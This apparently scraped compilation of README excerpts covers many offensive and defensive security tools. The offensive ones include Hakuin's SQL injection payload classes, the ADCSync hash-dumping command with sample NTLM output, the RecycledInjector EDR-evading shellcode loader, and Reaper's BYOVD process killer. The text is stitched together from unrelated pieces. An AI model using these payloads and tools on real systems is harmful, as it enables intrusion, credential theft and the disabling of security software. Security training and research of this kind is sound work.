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The Damn Vulnerable Drone is an intentionally vulnerable drone hacking simulator based on the popular ArduPilot/MAVLink architecture, providing a realistic environment for hands-on drone hacking.
The Damn Vulnerable Drone is a virtually simulated environment designed for offensive security professionals to safely learn and practice drone hacking techniques. It simulates real-world ArduPilot & MAVLink drone architectures and vulnerabilities, offering a hands-on experience in exploiting drone systems.
The Damn Vulnerable Drone aims to enhance offensive security skills within a controlled environment, making it an invaluable tool for intermediate-level security professionals, pentesters, and hacking enthusiasts.
Similar to how pilots utilize flight simulators for training, we can use the Damn Vulnerable Drone simulator to gain in-depth knowledge of real-world drone systems, understand their vulnerabilities, and learn effective methods to exploit them.
The Damn Vulnerable Drone platform is open-source and available at no cost and was specifically designed to address the substantial expenses often linked with drone hardware, hacking tools, and maintenance. Its cost-free nature allows users to immerse themselves in drone hacking without financial concerns. This accessibility makes the Damn Vulnerable Drone a crucial resource for those in the fields of information security and penetration testing, promoting the development of offensive cybersecurity skills in a safe environment.
The Damn Vulnerable Drone platform operates on the principle of Software-in-the-Loop (SITL), a simulation technique that allows users to run drone software as if it were executing on an actual drone, thereby replicating authentic drone behaviors and responses.
ArduPilot's SITL allows for the execution of the drone's firmware within a virtual environment, mimicking the behavior of a real drone without the need for physical hardware. This simulation is further enhanced with Gazebo, a dynamic 3D robotics simulator, which provides a realistic environment and physics engine for the drone to interact with. Together, ArduPilot's SITL and Gazebo lay the foundation for a sophisticated and authentic drone simulation experience.
While the current Damn Vulnerable Drone setup doesn't mirror every drone architecture or configuration, the integrated tactics, techniques and scenarios are broadly applicable across various drone systems, models and communication protocols.
A vulnerable application made using node.js, express server and ejs template engine. This application is meant for educational purposes only.
FreshRSS 
git clone https://github.com/4auvar/VulnNodeApp.git
npm install
CREATE USER 'vulnnodeapp'@'localhost' IDENTIFIED BY 'password';
create database vuln_node_app_db;
GRANT ALL PRIVILEGES ON vuln_node_app_db.* TO 'vulnnodeapp'@'localhost';
USE vuln_node_app_db;
create table users (id int AUTO_INCREMENT PRIMARY KEY, fullname varchar(255), username varchar(255),password varchar(255), email varchar(255), phone varchar(255), profilepic varchar(255));
insert into users(fullname,username,password,email,phone) values("test1","test1","test1","test1@test.com","976543210");
insert into users(fullname,username,password,email,phone) values("test2","test2","test2","test2@test.com","9887987541");
insert into users(fullname,username,password,email,phone) values("test3","test3","test3","test3@test.com","9876987611");
insert into users(fullname,username,password,email,phone) values("test4","test4","test4","test4@test.com","9123459876");
insert into users(fullname,username,password,email,phone) values("test5","test5","test 5","test5@test.com","7893451230");
npm start
You can reach me out at @4auvar
XM Goat is composed of XM Cyber terraform templates that help you learn about common Azure security issues. Each template is a vulnerable environment, with some significant misconfigurations. Your job is to attack and compromise the environments.
Here's what to do for each environment:
Run installation and then get started.
With the initial user and service principal credentials, attack the environment based on the scenario flow (for example, XMGoat/scenarios/scenario_1/scenario1_flow.png).
If you need help with your attack, refer to the solution (for example, XMGoat/scenarios/scenario_1/solution.md).
When you're done learning the attack, clean up.
Run these commands:
$ az login
$ git clone https://github.com/XMCyber/XMGoat.git
$ cd XMGoat
$ cd scenarios
$ cd scenario_<\SCENARIO>
Where <\SCENARIO> is the scenario number you want to complete
$ terraform init
$ terraform plan -out <\FILENAME>
$ terraform apply <\FILENAME>
Where <\FILENAME> is the name of the output file
To get the initial user and service principal credentials, run the following query:
$ terraform output --json
For Service Principals, use application_id.value and application_secret.value.
For Users, use username.value and password.value.
After completing the scenario, run the following command in order to clean all the resources created in your tenant
$ az login
$ cd XMGoat
$ cd scenarios
$ cd scenario_<\SCENARIO>
Where <\SCENARIO> is the scenario number you want to complete
$ terraform destroy
ROPDump is a tool for analyzing binary executables to identify potential Return-Oriented Programming (ROP) gadgets, as well as detecting potential buffer overflow and memory leak vulnerabilities.
<binary>: Path to the binary file for analysis.-s, --search SEARCH: Optional. Search for specific instruction patterns.-f, --functions: Optional. Print function names and addresses.python3 ropdump.py /path/to/binary
python3 ropdump.py /path/to/binary -s "pop eax"
python3 ropdump.py /path/to/binary -f
Reaper is a proof-of-concept designed to exploit BYOVD (Bring Your Own Vulnerable Driver) driver vulnerability. This malicious technique involves inserting a legitimate, vulnerable driver into a target system, which allows attackers to exploit the driver to perform malicious actions.
Reaper was specifically designed to exploit the vulnerability present in the kprocesshacker.sys driver in version 2.8.0.0, taking advantage of its weaknesses to gain privileged access and control over the target system.
Note: Reaper does not kill the Windows Defender process, as it has a protection, Reaper is a simple proof of concept.
____
/ __ \___ ____ _____ ___ _____
/ /_/ / _ \/ __ `/ __ \/ _ \/ ___/
/ _, _/ __/ /_/ / /_/ / __/ /
/_/ |_|\___/\__,_/ .___/\___/_/
/_/
[Coded by MrEmpy]
[v1.0]
Usage: C:\Windows\Temp\Reaper.exe [OPTIONS] [VALUES]
Options:
sp, suspend process
kp, kill process
Values:
PROCESSID process id to suspend/kill
Examples:
Reaper.exe sp 1337
Reaper.exe kp 1337
You can compile it directly from the source code or download it already compiled. You will need Visual Studio 2022 to compile.
Note: The executable and driver must be in the same directory.
Pyrit allows you to create massive databases of pre-computed WPA/WPA2-PSK authentication phase in a space-time-tradeoff. By using the computational power of Multi-Core CPUs and other platforms through ATI-Stream,Nvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world's most used security-protocols.
WPA/WPA2-PSK is a subset of IEEE 802.11 WPA/WPA2 that skips the complex task of key distribution and client authentication by assigning every participating party the same pre shared key. This master key is derived from a password which the administrating user has to pre-configure e.g. on his laptop and the Access Point. When the laptop creates a connection to the Access Point, a new session key is derived from the master key to encrypt and authenticate following traffic. The "shortcut" of using a single master key instead of per-user keys eases deployment of WPA/WPA2-protected networks for home- and small-office-use at the cost of making the protocol vulnerable to brute-force-attacks against it's key negotiation phase; it allows to ultimately reveal the password that protects the network. This vulnerability has to be considered exceptionally disastrous as the protocol allows much of the key derivation to be pre-computed, making simple brute-force-attacks even more alluring to the attacker. For more background see this article on the project's blog (Outdated).
The author does not encourage or support using Pyrit for the infringement of peoples' communication-privacy. The exploration and realization of the technology discussed here motivate as a purpose of their own; this is documented by the open development, strictly sourcecode-based distribution and 'copyleft'-licensing.
Pyrit is free software - free as in freedom. Everyone can inspect, copy or modify it and share derived work under the GNU General Public License v3+. It compiles and executes on a wide variety of platforms including FreeBSD, MacOS X and Linux as operation-system and x86-, alpha-, arm-, hppa-, mips-, powerpc-, s390 and sparc-processors.
Attacking WPA/WPA2 by brute-force boils down to to computing Pairwise Master Keys as fast as possible. Every Pairwise Master Key is 'worth' exactly one megabyte of data getting pushed through PBKDF2-HMAC-SHA1. In turn, computing 10.000 PMKs per second is equivalent to hashing 9,8 gigabyte of data with SHA1 in one second.
These are examples of how multiple computational nodes can access a single storage server over various ways provided by Pyrit:
See CHANGELOG file for a better description.
Pyrit compiles and runs fine on Linux, MacOS X and BSD. I don't care about Windows; drop me a line (read: patch) if you make Pyrit work without copying half of GNU ... A guide for installing Pyrit on your system can be found in the wiki. There is also a Tutorial and a reference manual for the commandline-client.
You may want to read this wiki-entry if interested in porting Pyrit to new hardware-platform. Contributions or bug reports you should [submit an Issue] (https://github.com/JPaulMora/Pyrit/issues).
Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.
Hakuin has been presented at esteemed academic and industrial conferences: - BlackHat MEA, Riyadh, 2023 - Hack in the Box, Phuket, 2023 - IEEE S&P Workshop on Offsensive Technology (WOOT), 2023
More information can be found in our paper and slides.
To install Hakuin, simply run:
pip3 install hakuin
Developers should install the package locally and set the -e flag for editable mode:
git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .
Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.
import aiohttp
from hakuin import Requester
class StatusRequester(Requester):
async def request(self, ctx, query):
r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
return r.status == 200
class ContentRequester(Requester):
async def request(self, ctx, query):
headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
r = await aiohttp.get(f'http://vuln.com/', headers=headers)
return 'found' in await r.text()
To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.
import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL
class StatusRequester(Requester):
...
async def main():
# requester: Use this Requester
# dbms: Use this DBMS
# n_tasks: Spawns N tasks that extract column rows in parallel
ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
...
if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())
Now that eveything is set, you can start extracting DB metadata.
# strategy:
# 'binary': Use binary search
# 'model': Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')
tables = await ext.extract_table_names(strategy='model')
columns = await ext.extract_column_names(table='users', strategy='model')
metadata = await ext.extract_meta(strategy='model')
Once you know the structure, you can extract the actual content.
# text_strategy: Use this strategy if the column is text
res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')
# strategy:
# 'binary': Use binary search
# 'fivegram': Use five-gram model
# 'unigram': Use unigram model
# 'dynamic': Dynamically identify the best strategy. This setting
# also enables opportunistic guessing.
res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')
res = await ext.extract_column_int(table='users', column='id')
res = await ext.extract_column_float(table='products', column='price')
res = await ext.extract_column_blob(table='users', column='id')
More examples can be found in the tests directory.
Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:
python3 hk.py -h
This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}
Presented at CODE BLUE 2023, this project titled Enhanced Vulnerability Hunting in WDM Drivers with Symbolic Execution and Taint Analysis introduces IOCTLance, a tool that enhances its capacity to detect various vulnerability types in Windows Driver Model (WDM) drivers. In a comprehensive evaluation involving 104 known vulnerable WDM drivers and 328 unknow n ones, IOCTLance successfully unveiled 117 previously unidentified vulnerabilities within 26 distinct drivers. As a result, 41 CVEs were reported, encompassing 25 cases of denial of service, 5 instances of insufficient access control, and 11 examples of elevation of privilege.
docker build .
dpkg --add-architecture i386
apt-get update
apt-get install git build-essential python3 python3-pip python3-dev htop vim sudo \
openjdk-8-jdk zlib1g:i386 libtinfo5:i386 libstdc++6:i386 libgcc1:i386 \
libc6:i386 libssl-dev nasm binutils-multiarch qtdeclarative5-dev libpixman-1-dev \
libglib2.0-dev debian-archive-keyring debootstrap libtool libreadline-dev cmake \
libffi-dev libxslt1-dev libxml2-dev
pip install angr==9.2.18 ipython==8.5.0 ipdb==0.13.9
# python3 analysis/ioctlance.py -h
usage: ioctlance.py [-h] [-i IOCTLCODE] [-T TOTAL_TIMEOUT] [-t TIMEOUT] [-l LENGTH] [-b BOUND]
[-g GLOBAL_VAR] [-a ADDRESS] [-e EXCLUDE] [-o] [-r] [-c] [-d]
path
positional arguments:
path dir (including subdirectory) or file path to the driver(s) to analyze
optional arguments:
-h, --help show this help message and exit
-i IOCTLCODE, --ioctlcode IOCTLCODE
analyze specified IoControlCode (e.g. 22201c)
-T TOTAL_TIMEOUT, --total_timeout TOTAL_TIMEOUT
total timeout for the whole symbolic execution (default 1200, 0 to unlimited)
-t TIMEOUT, --timeout TIMEOUT
timeout for analyze each IoControlCode (default 40, 0 to unlimited)
-l LENGTH, --length LENGTH
the limit of number of instructions for technique L engthLimiter (default 0, 0
to unlimited)
-b BOUND, --bound BOUND
the bound for technique LoopSeer (default 0, 0 to unlimited)
-g GLOBAL_VAR, --global_var GLOBAL_VAR
symbolize how many bytes in .data section (default 0 hex)
-a ADDRESS, --address ADDRESS
address of ioctl handler to directly start hunting with blank state (e.g.
140005c20)
-e EXCLUDE, --exclude EXCLUDE
exclude function address split with , (e.g. 140005c20,140006c20)
-o, --overwrite overwrite x.sys.json if x.sys has been analyzed (default False)
-r, --recursion do not kill state if detecting recursion (default False)
-c, --complete get complete base state (default False)
-d, --debug print debug info while analyzing (default False)
# python3 evaluation/statistics.py -h
usage: statistics.py [-h] [-w] path
positional arguments:
path target dir or file path
optional arguments:
-h, --help show this help message and exit
-w, --wdm copy the wdm drivers into <path>/wdm
navgix is a multi-threaded golang tool that will check for nginx alias traversal vulnerabilities
Currently, navgix supports 2 techniques for finding vulnerable directories (or location aliases). Those being the following:
navgix will make an initial GET request to the page, and if there are any directories specified on the page HTML (specified in src attributes on html components), it will test each folder in the path for the vulnerability, therefore if it finds a link to /static/img/photos/avatar.png, it will test /static/, /static/img/ and /static/img/photos/.
navgix will also test for a short list of common directories that are common to have this vulnerability and if any of these directories exist, it will also attempt to confirm if a vulnerability is present.
git clone https://github.com/Hakai-Offsec/navgix; cd navgix;
go build
RAVEN (Risk Analysis and Vulnerability Enumeration for CI/CD) is a powerful security tool designed to perform massive scans for GitHub Actions CI workflows and digest the discovered data into a Neo4j database. Developed and maintained by the Cycode research team.
With Raven, we were able to identify and report security vulnerabilities in some of the most popular repositories hosted on GitHub, including:
We listed all vulnerabilities discovered using Raven in the tool Hall of Fame.
The tool provides the following capabilities to scan and analyze potential CI/CD vulnerabilities:
Possible usages for Raven:
This tool provides a reliable and scalable solution for CI/CD security analysis, enabling users to query bad configurations and gain valuable insights into their codebase's security posture.
In the past year, Cycode Labs conducted extensive research on fundamental security issues of CI/CD systems. We examined the depths of many systems, thousands of projects, and several configurations. The conclusion is clear – the model in which security is delegated to developers has failed. This has been proven several times in our previous content:
Each of the vulnerabilities above has unique characteristics, making it nearly impossible for developers to stay up to date with the latest security trends. Unfortunately, each vulnerability shares a commonality – each exploitation can impact millions of victims.
It was for these reasons that Raven was created, a framework for CI/CD security analysis workflows (and GitHub Actions as the first use case). In our focus, we examined complex scenarios where each issue isn't a threat on its own, but when combined, they pose a severe threat.
To get started with Raven, follow these installation instructions:
Step 1: Install the Raven package
pip3 install raven-cycodeStep 2: Setup a local Redis server and Neo4j database
docker run -d --name raven-neo4j -p7474:7474 -p7687:7687 --env NEO4J_AUTH=neo4j/123456789 --volume raven-neo4j:/data neo4j:5.12
docker run -d --name raven-redis -p6379:6379 --volume raven-redis:/data redis:7.2.1Another way to setup the environment is by running our provided docker compose file:
git clone https://github.com/CycodeLabs/raven.git
cd raven
make setupStep 3: Run Raven Downloader
Org mode:
raven download org --token $GITHUB_TOKEN --org-name RavenDemoCrawl mode:
raven download crawl --token $GITHUB_TOKEN --min-stars 1000Step 4: Run Raven Indexer
raven indexStep 5: Inspect the results through the reporter
raven report --format rawAt this point, it is possible to inspect the data in the Neo4j database, by connecting http://localhost:7474/browser/.
Raven is using two primary docker containers: Redis and Neo4j. make setup will run a docker compose command to prepare that environment.
The tool contains three main functionalities, download and index and report.
usage: raven download org [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] --org-name ORG_NAME
options:
-h, --help show this help message and exit
--token TOKEN GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
--debug Whether to print debug statements, default: False
--redis-host REDIS_HOST
Redis host, default: localhost
--redis-port REDIS_PORT
Redis port, default: 6379
--clean-redis, -cr Whether to clean cache in the redis, default: False
--org-name ORG_NAME Organization name to download the workflowsusage: raven download crawl [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--max-stars MAX_STARS] [--min-stars MIN_STARS]
options:
-h, --help show this help message and exit
--token TOKEN GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
--debug Whether to print debug statements, default: False
--redis-host REDIS_HOST
Redis host, default: localhost
--redis-port REDIS_PORT
Redis port, default: 6379
--clean-redis, -cr Whether to clean cache in the redis, default: False
--max-stars MAX_STARS
Maximum number of stars for a repository
--min-stars MIN_STARS
Minimum number of stars for a repository, default : 1000usage: raven index [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI] [--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS]
[--clean-neo4j] [--debug]
options:
-h, --help show this help message and exit
--redis-host REDIS_HOST
Redis host, default: localhost
--redis-port REDIS_PORT
Redis port, default: 6379
--clean-redis, -cr Whether to clean cache in the redis, default: False
--neo4j-uri NEO4J_URI
Neo4j URI endpoint, default: neo4j://localhost:7687
--neo4j-user NEO4J_USER
Neo4j username, default: neo4j
--neo4j-pass NEO4J_PASS
Neo4j password, default: 123456789
--clean-neo4j, -cn Whether to clean cache, and index f rom scratch, default: False
--debug Whether to print debug statements, default: Falseusage: raven report [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI]
[--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS] [--clean-neo4j]
[--tag {injection,unauthenticated,fixed,priv-esc,supply-chain}]
[--severity {info,low,medium,high,critical}] [--queries-path QUERIES_PATH] [--format {raw,json}]
{slack} ...
positional arguments:
{slack}
slack Send report to slack channel
options:
-h, --help show this help message and exit
--redis-host REDIS_HOST
Redis host, default: localhost
--redis-port REDIS_PORT
Redis port, default: 6379
--clean-redis, -cr Whether to clean cache in the redis, default: False
--neo4j-uri NEO4J_URI
Neo4j URI endpoint, default: neo4j://localhost:7687
--neo4j-user NEO4J_USER
Neo4j username, default: neo4j
--neo4j-pass NEO4J_PASS
Neo4j password, default: 123456789
--clean-neo4j, -cn Whether to clean cache, and index from scratch, default: False
--tag {injection,unauthenticated,fixed,priv-esc,supply-chain}, -t {injection,unauthenticated,fixed,priv-esc,supply-chain}
Filter queries with specific tag
--severity {info,low,medium,high,critical}, -s {info,low,medium,high,critical}
Filter queries by severity level (default: info)
--queries-path QUERIES_PATH, -dp QUERIES_PATH
Queries folder (default: library)
--format {raw,json}, -f {raw,json}
Report format (default: raw)Retrieve all workflows and actions associated with the organization.
raven download org --token $GITHUB_TOKEN --org-name microsoft --org-name google --debugScrape all publicly accessible GitHub repositories.
raven download crawl --token $GITHUB_TOKEN --min-stars 100 --max-stars 1000 --debugAfter finishing the download process or if interrupted using Ctrl+C, proceed to index all workflows and actions into the Neo4j database.
raven index --debugNow, we can generate a report using our query library.
raven report --severity high --tag injection --tag unauthenticatedFor effective rate limiting, you should supply a Github token. For authenticated users, the next rate limiting applies:
Dockerfile (without action.yml). Currently, this behavior isn't supported.docker://... URL. Currently, this behavior isn't supported.data. That action parameter may be used in a run command: - run: echo ${{ inputs.data }}, which creates a path for a code execution.GITHUB_ENV. This may utilize the previous taint analysis as well.actions/github-script has an interesting threat landscape. If it is, it can be modeled in the graph.If you liked Raven, you would probably love our Cycode platform that offers even more enhanced capabilities for visibility, prioritization, and remediation of vulnerabilities across the software delivery.
If you are interested in a robust, research-driven Pipeline Security, Application Security, or ASPM solution, don't hesitate to get in touch with us or request a demo using the form https://cycode.com/book-a-demo/.
This is a tool I whipped up together quickly to DCSync utilizing ESC1. It is quite slow but otherwise an effective means of performing a makeshift DCSync attack without utilizing DRSUAPI or Volume Shadow Copy.
This is the first version of the tool and essentially just automates the process of running Certipy against every user in a domain. It still needs a lot of work and I plan on adding more features in the future for authentication methods and automating the process of finding a vulnerable template.
python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt
___ ____ ___________
/ | / __ \/ ____/ ___/__ ______ _____
/ /| | / / / / / \__ \/ / / / __ \/ ___/
/ ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/ |_/_____/\____//____/\__, /_/ /_/\___/
/____/
Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00, 1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LO CAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::
ADCSync uses the ESC1 exploit to dump NTLM hashes from user accounts in an Active Directory environment. The tool will first grab every user and domain in the Bloodhound dump file passed in. Then it will use Certipy to make a request for each user and store their PFX file in the certificate directory. Finally, it will use Certipy to authenticate with the certificate and retrieve the NT hash for each user. This process is quite slow and can take a while to complete but offers an alternative way to dump NTLM hashes.
git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt
To use this tool we need the following things:
# python3 adcsync.py --help
___ ____ ___________
/ | / __ \/ ____/ ___/__ ______ _____
/ /| | / / / / / \__ \/ / / / __ \/ ___/
/ ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/ |_/_____/\____//____/\__, /_/ /_/\___/
/____/
Usage: adcsync.py [OPTIONS]
Options:
-f, --file TEXT Input User List JSON file from Bloodhound [required]
-o, --output TEXT NTLM Hash Output file [required]
-ca TEXT Certificate Authority [required]
-dc-ip TEXT IP Address of Domain Controller [required]
-u, --user TEXT Username [required]
-p, --password TEXT Password [required]
-template TEXT Template Name vulnerable to ESC1 [required]
-target-ip TEXT IP Address of th e target machine [required]
--help Show this message and exit.
(Currently) Fully Undetected same-process native/.NET assembly shellcode injector based on RecycledGate by thefLink, which is also based on HellsGate + HalosGate + TartarusGate to ensure undetectable native syscalls even if one technique fails.
To remain stealthy and keep entropy on the final executable low, do ensure that shellcode is always loaded externally since most AV/EDRs won't check for signatures on non-executable or DLL files anyway.
Important to also note that the fully undetected part refers to the loading of the shellcode, however, the shellcode will still be subject to behavior monotoring, thus make sure the loaded executable also makes use of defense evasion techniques (e.g., SharpKatz which features DInvoke instead of Mimikatz).
.\RecycledInjector.exe <path_to_shellcode_file>This proof of concept leverages Terminator by ZeroMemoryEx to kill most security solution/agents present on the system. It is used against Microsoft Defender for Endpoint EDR.
On the left we inject the Terminator shellcode to load the vulnerable driver and kill MDE processes, and on the right is an example of loading and executing Invoke-Mimikatz remotely from memory, which is not stopped as there is no running security solution anymore on the system.
Caracal is a static analyzer tool over the SIERRA representation for Starknet smart contracts.
Precompiled binaries are available on our releases page. If you are using Cairo compiler 1.x.x uses the binary v0.1.x otherwise if you are using the Cairo compiler 2.x.x uses v0.2.x.
You need the Rust compiler and Cargo. Building from git:
cargo install --git https://github.com/crytic/caracal --profile release --forceBuilding from a local copy:
git clone https://github.com/crytic/caracal
cd caracal
cargo install --path . --profile release --forceList detectors:
caracal detectorsList printers:
caracal printersTo use with a standalone cairo file you need to pass the path to the corelib library either with the --corelib cli option or by setting the CORELIB_PATH environment variable. Run detectors:
caracal detect path/file/to/analyze --corelib path/to/corelib/srcRun printers:
caracal print path/file/to/analyze --printer printer_to_use --corelib path/to/corelib/srcIf you have a project that uses Scarb you need to add the following in Scarb.toml:
[[target.starknet-contract]]
sierra = true
[cairo]
sierra-replace-ids = trueThen pass the path to the directory where Scarb.toml resides. Run detectors:
caracal detect path/to/dirRun printers:
caracal print path/to/dir --printer printer_to_use| Num | Detector | What it Detects | Impact | Confidence | Cairo |
|---|---|---|---|---|---|
| 1 | controlled-library-call | Library calls with a user controlled class hash | High | Medium | 1 & 2 |
| 2 | unchecked-l1-handler-from | Detect L1 handlers without from address check | High | Medium | 1 & 2 |
| 3 | felt252-overflow | Detect user controlled operations with felt252 type, which is not overflow safe | High | Medium | 1 & 2 |
| 4 | reentrancy | Detect when a storage variable is read before an external call and written after | Medium | Medium | 1 & 2 |
| 5 | read-only-reentrancy | Detect when a view function read a storage variable written after an external call | Medium | Medium | 1 & 2 |
| 6 | unused-events | Events defined but not emitted | Medium | Medium | 1 & 2 |
| 7 | unused-return | Unused return values | Medium | Medium | 1 & 2 |
| 8 | unenforced-view | Function has view decorator but modifies state | Medium | Medium | 1 |
| 9 | unused-arguments | Unused arguments | Low | Medium | 1 & 2 |
| 10 | reentrancy-benign | Detect when a storage variable is written after an external call but not read before | Low | Medium | 1 & 2 |
| 11 | reentrancy-events | Detect when an event is emitted after an external call leading to out-of-order events | Low | Medium | 1 & 2 |
| 12 | dead-code | Private functions never used | Low | Medium | 1 & 2 |
The Cairo column represent the compiler version(s) for which the detector is valid.
cfg: Export the CFG of each function to a .dot filecallgraph: Export function call graph to a .dot fileCheck the wiki on the following topics:
Callisto is an intelligent automated binary vulnerability analysis tool. Its purpose is to autonomously decompile a provided binary and iterate through the psuedo code output looking for potential security vulnerabilities in that pseudo c code. Ghidra's headless decompiler is what drives the binary decompilation and analysis portion. The pseudo code analysis is initially performed by the Semgrep SAST tool and then transferred to GPT-3.5-Turbo for validation of Semgrep's findings, as well as potential identification of additional vulnerabilities.
This tool's intended purpose is to assist with binary analysis and zero-day vulnerability discovery. The output aims to help the researcher identify potential areas of interest or vulnerable components in the binary, which can be followed up with dynamic testing for validation and exploitation. It certainly won't catch everything, but the double validation with Semgrep to GPT-3.5 aims to reduce false positives and allow a deeper analysis of the program.
For those looking to just leverage the tool as a quick headless decompiler, the output.c file created will contain all the extracted pseudo code from the binary. This can be plugged into your own SAST tools or manually analyzed.
I owe Marco Ivaldi @0xdea a huge thanks for his publicly released custom Semgrep C rules as well as his idea to automate vulnerability discovery using semgrep and pseudo code output from decompilers. You can read more about his research here: Automating binary vulnerability discovery with Ghidra and Semgrep
Requirements:
pip install semgrep
pip install -r requirements.txt
config.txt fileTo Run: python callisto.py -b <path_to_binary> -ai -o <path_to_output_file>
-ai => enable OpenAI GPT-3.5-Turbo Analysis. Will require placing a valid OpenAI API key in the config.txt file-o => define an output file, if you want to save the output-ai and -o are optional parameters-all will run all functions through OpenAI Analysis, regardless of any Semgrep findings. This flag requires the prerequisite -ai flagpython callisto.py -b vulnProgram.exe -ai -o results.txt
python callisto.py -b vulnProgram.exe -ai -all -o results.txt
Program Output Example:
AWS workloads that rely on the metadata endpoint are vulnerable to Server-Side Request Forgery (SSRF) attacks. IMDShift automates the migration process of all workloads to IMDSv2 with extensive capabilities, which implements enhanced security measures to protect against these attacks.
MetadataNoToken CloudWatch metric across specified regionsMetabadger is an older tool that was used to facilitate migration of AWS EC2 workloads to IMDSv2.
IMDShift makes several improvements on Metabadger's capabilities:
git clone https://github.com/ayushpriya10/imdshift.git
cd imdshift/
python3 -m pip install .git clone https://github.com/ayushpriya10/imdshift.git
cd imdshift/
python3 -m pip install -e .Options:
--services TEXT This flag specifies services scan for IMDSv1
usage from [EC2, Sagemaker, ASG (Auto Scaling
Groups), Lightsail, ECS, EKS, Beanstalk].
Format: "--services EC2,Sagemaker,ASG"
--include-regions TEXT This flag specifies regions explicitly to
include scan for IMDSv1 usage. Format: "--
include-regions ap-south-1,ap-southeast-1"
--exclude-regions TEXT This flag specifies regions to exclude from the
scan explicitly. Format: "--exclude-regions ap-
south-1,ap-southeast-1"
--migrate This boolean flag enables IMDShift to perform
the migration, defaults to "False". Format: "--
migrate"
-- update-hop-limit INTEGER This flag specifies if the hop limit should be
updated and with what value. It is recommended
to set the hop limit to "2" to enable containers
to be able to work with the IMDS endpoint. If
this flag is not passed, hop limit is not
updated during migration. Format: "--update-hop-
limit 3"
--enable-imds This boolean flag enables IMDShift to enable the
metadata endpoint for resources that have it
disabled and then perform the migration,
defaults to "False". Format: "--enable-imds"
--profile TEXT This allows you to use any profile from your
~/.aws/credentials file. Format: "--profile
prod-env"
--role-arn TEXT This flag let's you assume a role via aws sts.
Format: "--role-arn
arn:aws:sts::111111111:role/John"
--print-scps This boolean flag prints Service Control
Policies (SCPs) that can be used to control IMDS
usage, like deny access for credentials fetched
from IMDSv2 or deny creation of resources with
IMDSv1, defaults to "False". Format: "--print-
scps"
--check-imds-usage This boolean flag launches a scan to identify
how many instances are using IMDSv1 in specified
regions, during the last 30 days, by using the
"MetadataNoToken" CloudWatch metric, defaults to
"False". Format: "--check-imds-usage"
--help Show this message and exit.
PrivKit is a simple beacon object file that detects privilege escalation vulnerabilities caused by misconfigurations on Windows OS.
Checks for Unquoted Service Paths
Checks for Autologon Registry Keys
Checks for Always Install Elevated Registry Keys
Checks for Modifiable Autoruns
Checks for Hijackable Paths
Enumerates Credentials From Credential Manager
Looks for current Token Privileges
[03/20 00:51:06] beacon> privcheck
[03/20 00:51:06] [*] Priv Esc Check Bof by @merterpreter
